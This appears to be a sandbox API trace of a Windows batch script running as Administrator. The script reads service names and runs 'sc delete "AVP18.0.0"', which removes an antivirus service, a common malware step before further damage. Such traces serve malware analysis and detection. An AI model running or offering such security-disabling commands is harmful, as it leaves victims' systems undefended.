returned 1 [0077.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"lim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.772] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="Aim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.772] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.772] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.772] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Vm6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.773] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="P6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.773] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="1\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.773] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="8resql-x64-9.4\"\n\nA\"\n") returned 1 [0077.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.773] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr=".esql-x64-9.4\"\n\nA\"\n") returned 1 [0077.773] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.773] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.773] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.773] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="0sql-x64-9.4\"\n\nA\"\n") returned 1 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.774] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr=".ql-x64-9.4\"\n\nA\"\n") returned 1 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.774] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="0l-x64-9.4\"\n\nA\"\n") returned 1 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.774] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="\"-x64-9.4\"\n\nA\"\n") returned 1 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.774] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.774] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="\nx64-9.4\"\n\nA\"\n") returned 1 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] GetFileType (hFile=0xb8) returned 0x3 [0077.774] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.774] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.775] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.775] GetFileType (hFile=0x120) returned 0x3 [0077.775] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.775] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"AVP18.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"AVP18.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0077.775] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x16, lpOverlapped=0x0) returned 1 [0077.775] GetProcessHeap () returned 0x240000 [0077.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.775] GetProcessHeap () returned 0x240000 [0077.775] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.775] GetProcessHeap () returned 0x240000 [0077.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.775] GetProcessHeap () returned 0x240000 [0077.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.775] GetProcessHeap () returned 0x240000 [0077.775] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x38) returned 0x256510 [0077.775] GetConsoleOutputCP () returned 0x1b5 [0077.775] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.775] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.776] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.776] GetProcessHeap () returned 0x240000 [0077.776] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.776] GetProcessHeap () returned 0x240000 [0077.776] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x3e) returned 0x25aa40 [0077.776] GetProcessHeap () returned 0x240000 [0077.776] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0077.776] SetErrorMode (uMode=0x0) returned 0x1 [0077.776] SetErrorMode (uMode=0x1) returned 0x0 [0077.776] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.776] SetErrorMode (uMode=0x1) returned 0x1 [0077.776] GetProcessHeap () returned 0x240000 [0077.776] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0077.776] GetProcessHeap () returned 0x240000 [0077.776] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0077.776] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.777] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.777] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.777] GetProcessHeap () returned 0x240000 [0077.777] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.777] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.777] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.777] GetLastError () returned 0x2 [0077.777] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.778] GetLastError () returned 0x2 [0077.778] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.778] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.778] GetLastError () returned 0x2 [0077.778] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.778] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.778] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.778] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.779] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.779] GetProcessHeap () returned 0x240000 [0077.779] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.779] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.779] GetProcessHeap () returned 0x240000 [0077.779] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xa4) returned 0x259180 [0077.779] GetProcessHeap () returned 0x240000 [0077.779] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xa4 [0077.780] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"AVP18.0.0\"") returned 1 [0077.780] GetProcessHeap () returned 0x240000 [0077.780] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.780] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.780] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.780] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.780] GetProcessHeap () returned 0x240000 [0077.780] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.781] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.782] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.782] GetProcessHeap () returned 0x240000 [0077.782] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.782] GetProcessHeap () returned 0x240000 [0077.782] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.782] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"AVP18.0.0\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"AVP18.0.0\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xaa8, dwThreadId=0xadc)) returned 1 [0077.803] CloseHandle (hObject=0x54) returned 1 [0077.803] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.803] GetProcessHeap () returned 0x240000 [0077.803] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.803] GetEnvironmentStringsW () returned 0x261b10* [0077.804] GetProcessHeap () returned 0x240000 [0077.804] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.804] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.804] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.804] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.804] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.864] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.864] CloseHandle (hObject=0x50) returned 1 [0077.864] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.864] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.865] GetProcessHeap () returned 0x240000 [0077.865] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0077.865] GetEnvironmentStringsW () returned 0x261b10* [0077.865] GetProcessHeap () returned 0x240000 [0077.865] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0077.865] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.865] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.865] GetProcessHeap () 